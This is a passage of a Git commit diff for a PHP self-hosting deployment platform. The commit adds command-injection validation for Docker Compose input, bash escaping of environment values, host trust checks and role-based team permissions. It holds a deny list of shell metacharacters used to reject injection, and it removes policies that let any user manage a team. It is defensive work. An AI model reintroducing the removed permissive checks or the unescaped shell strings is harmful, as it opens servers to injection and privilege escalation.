Merge branch 'next' into fix-isdirty-updated-hooks

This commit is contained in:
Andras Bacsai 2025-10-16 10:08:29 +02:00 committed by GitHub
commit fd63c4f6f9
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
38 changed files with 2828 additions and 58 deletions

View file

@ -328,9 +328,23 @@ public function create_service(Request $request)
});
}
if ($oneClickService) {
$service_payload = [
$dockerComposeRaw = base64_decode($oneClickService);
// Validate for command injection BEFORE creating service
try {
validateDockerComposeForInjection($dockerComposeRaw);
} catch (\Exception $e) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
'docker_compose_raw' => $e->getMessage(),
],
], 422);
}
$servicePayload = [
'name' => "$oneClickServiceName-".str()->random(10),
'docker_compose_raw' => base64_decode($oneClickService),
'docker_compose_raw' => $dockerComposeRaw,
'environment_id' => $environment->id,
'service_type' => $oneClickServiceName,
'server_id' => $server->id,
@ -338,9 +352,9 @@ public function create_service(Request $request)
'destination_type' => $destination->getMorphClass(),
];
if ($oneClickServiceName === 'cloudflared') {
data_set($service_payload, 'connect_to_docker_network', true);
data_set($servicePayload, 'connect_to_docker_network', true);
}
$service = Service::create($service_payload);
$service = Service::create($servicePayload);
$service->name = "$oneClickServiceName-".$service->uuid;
$service->save();
if ($oneClickDotEnvs?->count() > 0) {
@ -462,6 +476,18 @@ public function create_service(Request $request)
$dockerCompose = base64_decode($request->docker_compose_raw);
$dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
// Validate for command injection BEFORE saving to database
try {
validateDockerComposeForInjection($dockerComposeRaw);
} catch (\Exception $e) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
'docker_compose_raw' => $e->getMessage(),
],
], 422);
}
$connectToDockerNetwork = $request->connect_to_docker_network ?? false;
$instantDeploy = $request->instant_deploy ?? false;
@ -777,6 +803,19 @@ public function update_by_uuid(Request $request)
}
$dockerCompose = base64_decode($request->docker_compose_raw);
$dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
// Validate for command injection BEFORE saving to database
try {
validateDockerComposeForInjection($dockerComposeRaw);
} catch (\Exception $e) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
'docker_compose_raw' => $e->getMessage(),
],
], 422);
}
$service->docker_compose_raw = $dockerComposeRaw;
}

View file

@ -14,7 +14,7 @@ class Kernel extends HttpKernel
* @var array<int, class-string|string>
*/
protected $middleware = [
// \App\Http\Middleware\TrustHosts::class,
\App\Http\Middleware\TrustHosts::class,
\App\Http\Middleware\TrustProxies::class,
\Illuminate\Http\Middleware\HandleCors::class,
\App\Http\Middleware\PreventRequestsDuringMaintenance::class,

View file

@ -2,7 +2,10 @@
namespace App\Http\Middleware;
use App\Models\InstanceSettings;
use Illuminate\Http\Middleware\TrustHosts as Middleware;
use Illuminate\Support\Facades\Cache;
use Spatie\Url\Url;
class TrustHosts extends Middleware
{
@ -13,8 +16,37 @@ class TrustHosts extends Middleware
*/
public function hosts(): array
{
return [
$this->allSubdomainsOfApplicationUrl(),
];
$trustedHosts = [];
// Trust the configured FQDN from InstanceSettings (cached to avoid DB query on every request)
// Use empty string as sentinel value instead of null so negative results are cached
$fqdnHost = Cache::remember('instance_settings_fqdn_host', 300, function () {
try {
$settings = InstanceSettings::get();
if ($settings && $settings->fqdn) {
$url = Url::fromString($settings->fqdn);
$host = $url->getHost();
return $host ?: '';
}
} catch (\Exception $e) {
// If instance settings table doesn't exist yet (during installation),
// return empty string (sentinel) so this result is cached
}
return '';
});
// Convert sentinel value back to null for consumption
$fqdnHost = $fqdnHost !== '' ? $fqdnHost : null;
if ($fqdnHost) {
$trustedHosts[] = $fqdnHost;
}
// Trust all subdomains of APP_URL as fallback
$trustedHosts[] = $this->allSubdomainsOfApplicationUrl();
return array_filter($trustedHosts);
}
}

View file

@ -1319,12 +1319,18 @@ private function save_runtime_environment_variables()
private function generate_buildtime_environment_variables()
{
if (isDev()) {
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
$this->application_deployment_queue->addLogEntry('[DEBUG] Generating build-time environment variables');
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
}
$envs = collect([]);
$coolify_envs = $this->generate_coolify_env_variables();
// Add COOLIFY variables
$coolify_envs->each(function ($item, $key) use ($envs) {
$envs->push($key.'='.$item);
$envs->push($key.'='.escapeBashEnvValue($item));
});
// Add SERVICE_NAME variables for Docker Compose builds
@ -1338,7 +1344,7 @@ private function generate_buildtime_environment_variables()
}
$services = data_get($dockerCompose, 'services', []);
foreach ($services as $serviceName => $_) {
$envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.$serviceName);
$envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.escapeBashEnvValue($serviceName));
}
// Generate SERVICE_FQDN & SERVICE_URL for non-PR deployments
@ -1351,8 +1357,8 @@ private function generate_buildtime_environment_variables()
$coolifyScheme = $coolifyUrl->getScheme();
$coolifyFqdn = $coolifyUrl->getHost();
$coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null);
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString());
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn);
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString()));
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn));
}
}
} else {
@ -1360,7 +1366,7 @@ private function generate_buildtime_environment_variables()
$rawDockerCompose = Yaml::parse($this->application->docker_compose_raw);
$rawServices = data_get($rawDockerCompose, 'services', []);
foreach ($rawServices as $rawServiceName => $_) {
$envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id));
$envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.escapeBashEnvValue(addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id)));
}
// Generate SERVICE_FQDN & SERVICE_URL for preview deployments with PR-specific domains
@ -1373,8 +1379,8 @@ private function generate_buildtime_environment_variables()
$coolifyScheme = $coolifyUrl->getScheme();
$coolifyFqdn = $coolifyUrl->getHost();
$coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null);
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString());
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn);
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString()));
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn));
}
}
}
@ -1396,7 +1402,32 @@ private function generate_buildtime_environment_variables()
}
foreach ($sorted_environment_variables as $env) {
$envs->push($env->key.'='.$env->real_value);
// For literal/multiline vars, real_value includes quotes that we need to remove
if ($env->is_literal || $env->is_multiline) {
// Strip outer quotes from real_value and apply proper bash escaping
$value = trim($env->real_value, "'");
$escapedValue = escapeBashEnvValue($value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline');
$this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
} else {
// For normal vars, use double quotes to allow $VAR expansion
$escapedValue = escapeBashDoubleQuoted($env->real_value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)');
$this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
}
}
} else {
$sorted_environment_variables = $this->application->environment_variables_preview()
@ -1413,11 +1444,42 @@ private function generate_buildtime_environment_variables()
}
foreach ($sorted_environment_variables as $env) {
$envs->push($env->key.'='.$env->real_value);
// For literal/multiline vars, real_value includes quotes that we need to remove
if ($env->is_literal || $env->is_multiline) {
// Strip outer quotes from real_value and apply proper bash escaping
$value = trim($env->real_value, "'");
$escapedValue = escapeBashEnvValue($value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline');
$this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
} else {
// For normal vars, use double quotes to allow $VAR expansion
$escapedValue = escapeBashDoubleQuoted($env->real_value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)');
$this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
}
}
}
// Return the generated environment variables
if (isDev()) {
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
$this->application_deployment_queue->addLogEntry("[DEBUG] Total build-time env variables: {$envs->count()}");
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
}
return $envs;
}

View file

@ -25,6 +25,7 @@ public function __construct(
public bool $readonly,
public bool $allowTab,
public bool $spellcheck,
public bool $autofocus = false,
public ?string $helper,
public bool $realtimeValidation,
public bool $allowToPeak,

View file

@ -37,6 +37,10 @@ public function submit()
'dockerComposeRaw' => 'required',
]);
$this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
// Validate for command injection BEFORE saving to database
validateDockerComposeForInjection($this->dockerComposeRaw);
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();

View file

@ -101,6 +101,10 @@ public function submit($notify = true)
{
try {
$this->validate();
// Validate for command injection BEFORE saving to database
validateDockerComposeForInjection($this->service->docker_compose_raw);
$this->service->save();
$this->service->saveExtraFields($this->fields);
$this->service->parse();

View file

@ -45,9 +45,16 @@ private function generateInviteLink(bool $sendEmail = false)
try {
$this->authorize('manageInvitations', currentTeam());
$this->validate();
if (auth()->user()->role() === 'admin' && $this->role === 'owner') {
// Prevent privilege escalation: users cannot invite someone with higher privileges
$userRole = auth()->user()->role();
if ($userRole === 'member' && in_array($this->role, ['admin', 'owner'])) {
throw new \Exception('Members cannot invite admins or owners.');
}
if ($userRole === 'admin' && $this->role === 'owner') {
throw new \Exception('Admins cannot invite owners.');
}
$this->email = strtolower($this->email);
$member_emails = currentTeam()->members()->get()->pluck('email');

View file

@ -1064,18 +1064,24 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
$source_html_url_scheme = $url['scheme'];
if ($this->source->getMorphClass() == 'App\Models\GithubApp') {
$escapedCustomRepository = escapeshellarg($customRepository);
if ($this->source->is_public) {
$escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}");
$fullRepoUrl = "{$this->source->html_url}/{$customRepository}";
$base_command = "{$base_command} {$this->source->html_url}/{$customRepository}";
$base_command = "{$base_command} {$escapedRepoUrl}";
} else {
$github_access_token = generateGithubInstallationToken($this->source);
if ($exec_in_docker) {
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
$repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
$escapedRepoUrl = escapeshellarg($repoUrl);
$base_command = "{$base_command} {$escapedRepoUrl}";
$fullRepoUrl = $repoUrl;
} else {
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
$repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
$escapedRepoUrl = escapeshellarg($repoUrl);
$base_command = "{$base_command} {$escapedRepoUrl}";
$fullRepoUrl = $repoUrl;
}
}
@ -1100,7 +1106,10 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
throw new RuntimeException('Private key not found. Please add a private key to the application and try again.');
}
$private_key = base64_encode($private_key);
$base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} {$customRepository}";
// When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context
// Replace ' with '\'' to safely escape within single-quoted bash strings
$escapedCustomRepository = str_replace("'", "'\\''", $customRepository);
$base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'";
if ($exec_in_docker) {
$commands = collect([
@ -1117,9 +1126,9 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
}
if ($exec_in_docker) {
$commands->push(executeInDocker($deployment_uuid, $base_comamnd));
$commands->push(executeInDocker($deployment_uuid, $base_command));
} else {
$commands->push($base_comamnd);
$commands->push($base_command);
}
return [

View file

@ -42,6 +42,11 @@ protected static function booted(): void
}
});
}
// Clear trusted hosts cache when FQDN changes
if ($settings->wasChanged('fqdn')) {
\Cache::forget('instance_settings_fqdn_host');
}
});
}

View file

@ -42,8 +42,7 @@ public function update(User $user, Team $team): bool
return false;
}
// return $user->isAdmin() || $user->isOwner();
return true;
return $user->isAdmin() || $user->isOwner();
}
/**
@ -56,8 +55,7 @@ public function delete(User $user, Team $team): bool
return false;
}
// return $user->isAdmin() || $user->isOwner();
return true;
return $user->isAdmin() || $user->isOwner();
}
/**
@ -70,8 +68,7 @@ public function manageMembers(User $user, Team $team): bool
return false;
}
// return $user->isAdmin() || $user->isOwner();
return true;
return $user->isAdmin() || $user->isOwner();
}
/**
@ -84,8 +81,7 @@ public function viewAdmin(User $user, Team $team): bool
return false;
}
// return $user->isAdmin() || $user->isOwner();
return true;
return $user->isAdmin() || $user->isOwner();
}
/**
@ -98,7 +94,6 @@ public function manageInvitations(User $user, Team $team): bool
return false;
}
// return $user->isAdmin() || $user->isOwner();
return true;
return $user->isAdmin() || $user->isOwner();
}
}

View file

@ -27,6 +27,7 @@ public function __construct(
public bool $readonly = false,
public bool $allowTab = false,
public bool $spellcheck = false,
public bool $autofocus = false,
public ?string $helper = null,
public bool $realtimeValidation = false,
public bool $allowToPeak = true,

View file

@ -378,6 +378,16 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_
if ($serviceLabels) {
$middlewares_from_labels = $serviceLabels->map(function ($item) {
// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)
if (is_array($item)) {
// Convert array to string format "key=value"
$key = collect($item)->keys()->first();
$value = collect($item)->values()->first();
$item = "$key=$value";
}
if (! is_string($item)) {
return null;
}
if (preg_match('/traefik\.http\.middlewares\.(.*?)(\.|$)/', $item, $matches)) {
return $matches[1];
}
@ -1120,6 +1130,76 @@ function escapeDollarSign($value)
return str_replace($search, $replace, $value);
}
/**
* Escape a value for use in a bash .env file that will be sourced with 'source' command
* Wraps the value in single quotes and escapes any single quotes within the value
*
* @param string|null $value The value to escape
* @return string The escaped value wrapped in single quotes
*/
function escapeBashEnvValue(?string $value): string
{
// Handle null or empty values
if ($value === null || $value === '') {
return "''";
}
// Replace single quotes with '\'' (end quote, escaped quote, start quote)
// This is the standard way to escape single quotes in bash single-quoted strings
$escaped = str_replace("'", "'\\''", $value);
// Wrap in single quotes
return "'{$escaped}'";
}
/**
* Escape a value for bash double-quoted strings (allows $VAR expansion)
*
* This function wraps values in double quotes while escaping special characters,
* but preserves valid bash variable references like $VAR and ${VAR}.
*
* @param string|null $value The value to escape
* @return string The escaped value wrapped in double quotes
*/
function escapeBashDoubleQuoted(?string $value): string
{
// Handle null or empty values
if ($value === null || $value === '') {
return '""';
}
// Step 1: Escape backslashes first (must be done before other escaping)
$escaped = str_replace('\\', '\\\\', $value);
// Step 2: Escape double quotes
$escaped = str_replace('"', '\\"', $escaped);
// Step 3: Escape backticks (command substitution)
$escaped = str_replace('`', '\\`', $escaped);
// Step 4: Escape invalid $ patterns while preserving valid variable references
// Valid patterns to keep:
// - $VAR_NAME (alphanumeric + underscore, starting with letter or _)
// - ${VAR_NAME} (brace expansion)
// - $0-$9 (positional parameters)
// Invalid patterns to escape: $&, $#, $$, $*, $@, $!, $(, etc.
// Match $ followed by anything that's NOT a valid variable start
// Valid variable starts: letter, underscore, digit (for $0-$9), or open brace
$escaped = preg_replace(
'/\$(?![a-zA-Z_0-9{])/',
'\\\$',
$escaped
);
// Preserve pre-escaped dollars inside double quotes: turn \\$ back into \$
// (keeps tests like "path\\to\\file" intact while restoring \$ semantics)
$escaped = preg_replace('/\\\\(?=\$)/', '\\\\', $escaped);
// Wrap in double quotes
return "\"{$escaped}\"";
}
/**
* Generate Docker build arguments from environment variables collection
* Returns only keys (no values) since values are sourced from environment via export

View file

@ -16,6 +16,101 @@
use Symfony\Component\Yaml\Yaml;
use Visus\Cuid2\Cuid2;
/**
* Validates a Docker Compose YAML string for command injection vulnerabilities.
* This should be called BEFORE saving to database to prevent malicious data from being stored.
*
* @param string $composeYaml The raw Docker Compose YAML content
*
* @throws \Exception If the compose file contains command injection attempts
*/
function validateDockerComposeForInjection(string $composeYaml): void
{
try {
$parsed = Yaml::parse($composeYaml);
} catch (\Exception $e) {
throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e);
}
if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) {
throw new \Exception('Docker Compose file must contain a "services" section');
}
// Validate service names
foreach ($parsed['services'] as $serviceName => $serviceConfig) {
try {
validateShellSafePath($serviceName, 'service name');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker Compose service name: '.$e->getMessage().
' Service names must not contain shell metacharacters.',
0,
$e
);
}
// Validate volumes in this service (both string and array formats)
if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) {
foreach ($serviceConfig['volumes'] as $volume) {
if (is_string($volume)) {
// String format: "source:target" or "source:target:mode"
validateVolumeStringForInjection($volume);
} elseif (is_array($volume)) {
// Array format: {type: bind, source: ..., target: ...}
if (isset($volume['source'])) {
$source = $volume['source'];
if (is_string($source)) {
// Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString)
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
$isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source);
if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) {
try {
validateShellSafePath($source, 'volume source');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.',
0,
$e
);
}
}
}
}
if (isset($volume['target'])) {
$target = $volume['target'];
if (is_string($target)) {
try {
validateShellSafePath($target, 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.',
0,
$e
);
}
}
}
}
}
}
}
}
/**
* Validates a Docker volume string (format: "source:target" or "source:target:mode")
*
* @param string $volumeString The volume string to validate
*
* @throws \Exception If the volume string contains command injection attempts
*/
function validateVolumeStringForInjection(string $volumeString): void
{
// Canonical parsing also validates and throws on unsafe input
parseDockerVolumeString($volumeString);
}
function parseDockerVolumeString(string $volumeString): array
{
$volumeString = trim($volumeString);
@ -212,6 +307,46 @@ function parseDockerVolumeString(string $volumeString): array
// Otherwise keep the variable as-is for later expansion (no default value)
}
// Validate source path for command injection attempts
// We validate the final source value after environment variable processing
if ($source !== null) {
// Allow simple environment variables like ${VAR_NAME} or ${VAR}
// but validate everything else for shell metacharacters
$sourceStr = is_string($source) ? $source : $source;
// Skip validation for simple environment variable references
// Pattern: ${WORD_CHARS} with no special characters inside
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr);
if (! $isSimpleEnvVar) {
try {
validateShellSafePath($sourceStr, 'volume source');
} catch (\Exception $e) {
// Re-throw with more context about the volume string
throw new \Exception(
'Invalid Docker volume definition: '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
}
// Also validate target path
if ($target !== null) {
$targetStr = is_string($target) ? $target : $target;
// Target paths in containers are typically absolute paths, so we validate them too
// but they're less likely to be dangerous since they're not used in host commands
// Still, defense in depth is important
try {
validateShellSafePath($targetStr, 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition: '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
return [
'source' => $source !== null ? str($source) : null,
'target' => $target !== null ? str($target) : null,
@ -265,6 +400,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$allMagicEnvironments = collect([]);
foreach ($services as $serviceName => $service) {
// Validate service name for command injection
try {
validateShellSafePath($serviceName, 'service name');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker Compose service name: '.$e->getMessage().
' Service names must not contain shell metacharacters.'
);
}
$magicEnvironments = collect([]);
$image = data_get_str($service, 'image');
$environment = collect(data_get($service, 'environment', []));
@ -561,6 +706,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$content = data_get($volume, 'content');
$isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
// Validate source and target for command injection (array/long syntax)
if ($source !== null && ! empty($source->value())) {
$sourceValue = $source->value();
// Allow simple environment variable references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
if (! $isSimpleEnvVar) {
try {
validateShellSafePath($sourceValue, 'volume source');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
}
if ($target !== null && ! empty($target->value())) {
try {
validateShellSafePath($target->value(), 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
$foundConfig = $fileStorages->whereMountPath($target)->first();
if ($foundConfig) {
$contentNotNull_temp = data_get($foundConfig, 'content');
@ -1178,6 +1350,16 @@ function serviceParser(Service $resource): Collection
$allMagicEnvironments = collect([]);
// Presave services
foreach ($services as $serviceName => $service) {
// Validate service name for command injection
try {
validateShellSafePath($serviceName, 'service name');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker Compose service name: '.$e->getMessage().
' Service names must not contain shell metacharacters.'
);
}
$image = data_get_str($service, 'image');
$isDatabase = isDatabaseImage($image, $service);
if ($isDatabase) {
@ -1575,6 +1757,33 @@ function serviceParser(Service $resource): Collection
$content = data_get($volume, 'content');
$isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
// Validate source and target for command injection (array/long syntax)
if ($source !== null && ! empty($source->value())) {
$sourceValue = $source->value();
// Allow simple environment variable references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
if (! $isSimpleEnvVar) {
try {
validateShellSafePath($sourceValue, 'volume source');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
}
if ($target !== null && ! empty($target->value())) {
try {
validateShellSafePath($target->value(), 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
$foundConfig = $fileStorages->whereMountPath($target)->first();
if ($foundConfig) {
$contentNotNull_temp = data_get($foundConfig, 'content');

View file

@ -104,6 +104,48 @@ function sanitize_string(?string $input = null): ?string
return $sanitized;
}
/**
* Validate that a path or identifier is safe for use in shell commands.
*
* This function prevents command injection by rejecting strings that contain
* shell metacharacters or command substitution patterns.
*
* @param string $input The path or identifier to validate
* @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name')
* @return string The validated input (unchanged if valid)
*
* @throws \Exception If dangerous characters are detected
*/
function validateShellSafePath(string $input, string $context = 'path'): string
{
// List of dangerous shell metacharacters that enable command injection
$dangerousChars = [
'`' => 'backtick (command substitution)',
'$(' => 'command substitution',
'${' => 'variable substitution with potential command injection',
'|' => 'pipe operator',
'&' => 'background/AND operator',
';' => 'command separator',
"\n" => 'newline (command separator)',
"\r" => 'carriage return',
"\t" => 'tab (token separator)',
'>' => 'output redirection',
'<' => 'input redirection',
];
// Check for dangerous characters
foreach ($dangerousChars as $char => $description) {
if (str_contains($input, $char)) {
throw new \Exception(
"Invalid {$context}: contains forbidden character '{$char}' ({$description}). ".
'Shell metacharacters are not allowed for security reasons.'
);
}
}
return $input;
}
function generate_readme_file(string $name, string $updated_at): string
{
$name = sanitize_string($name);
@ -1285,6 +1327,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
if ($serviceLabels->count() > 0) {
$removedLabels = collect([]);
$serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) {
// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)
if (is_array($serviceLabel)) {
$removedLabels->put($serviceLabelName, $serviceLabel);
return false;
}
if (! str($serviceLabel)->contains('=')) {
$removedLabels->put($serviceLabelName, $serviceLabel);
@ -1294,6 +1342,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
return $serviceLabel;
});
foreach ($removedLabels as $removedLabelName => $removedLabel) {
// Convert array values to strings
if (is_array($removedLabel)) {
$removedLabel = (string) collect($removedLabel)->first();
}
$serviceLabels->push("$removedLabelName=$removedLabel");
}
}
@ -2005,6 +2057,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
if ($serviceLabels->count() > 0) {
$removedLabels = collect([]);
$serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) {
// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)
if (is_array($serviceLabel)) {
$removedLabels->put($serviceLabelName, $serviceLabel);
return false;
}
if (! str($serviceLabel)->contains('=')) {
$removedLabels->put($serviceLabelName, $serviceLabel);
@ -2014,6 +2072,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
return $serviceLabel;
});
foreach ($removedLabels as $removedLabelName => $removedLabel) {
// Convert array values to strings
if (is_array($removedLabel)) {
$removedLabel = (string) collect($removedLabel)->first();
}
$serviceLabels->push("$removedLabelName=$removedLabel");
}
}

View file

@ -16,6 +16,7 @@ public function run(): void
InstanceSettings::create([
'id' => 0,
'is_registration_enabled' => true,
'is_api_enabled' => isDev(),
'smtp_enabled' => true,
'smtp_host' => 'coolify-mail',
'smtp_port' => 1025,

View file

@ -46,20 +46,20 @@ @utility input-focus {
/* input, select before */
@utility input-select {
@apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent;
@apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-2 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent;
}
/* Readonly */
@utility input {
@apply dark:read-only:text-neutral-500 dark:read-only:ring-0 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200;
@apply input-select;
@apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base;
@apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
}
@utility select {
@apply w-full;
@apply input-select;
@apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base;
@apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
}
@utility button {

View file

@ -98,12 +98,12 @@
{{-- Unified Input Container with Tags Inside --}}
<div @click="$refs.searchInput.focus()"
